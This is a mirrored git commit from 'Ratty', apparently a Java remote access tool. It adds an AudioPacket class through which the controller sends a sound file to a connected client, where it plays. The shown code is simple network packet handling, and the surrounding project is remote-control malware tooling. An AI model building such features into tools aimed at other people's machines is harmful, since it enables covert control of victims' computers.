mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
6 changed files with 91 additions and 18 deletions
-
BINRatty/res/menu_icons.png
-
6Ratty/src/de/sogomn/rat/Ratty.java
-
47Ratty/src/de/sogomn/rat/packet/AudioPacket.java
-
7Ratty/src/de/sogomn/rat/packet/PacketType.java
-
21Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
28Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
Before Width: 96 | Height: 96 | Size: 893 B After Width: 128 | Height: 96 | Size: 981 B |
@ -0,0 +1,47 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.io.File; |
|||
|
|||
import de.sogomn.engine.fx.Sound; |
|||
import de.sogomn.engine.util.FileUtils; |
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public final class AudioPacket implements IPacket { |
|||
|
|||
private byte[] data; |
|||
|
|||
public AudioPacket(final File file) { |
|||
data = FileUtils.readExternalData(file); |
|||
} |
|||
|
|||
public AudioPacket(final String path) { |
|||
data = FileUtils.readExternalData(path); |
|||
} |
|||
|
|||
public AudioPacket() { |
|||
data = new byte[0]; |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
client.writeInt(data.length); |
|||
client.write(data); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
final int length = client.readInt(); |
|||
|
|||
data = new byte[length]; |
|||
|
|||
client.read(data); |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
final Sound sound = Sound.loadSound(data); |
|||
|
|||
sound.play(); |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue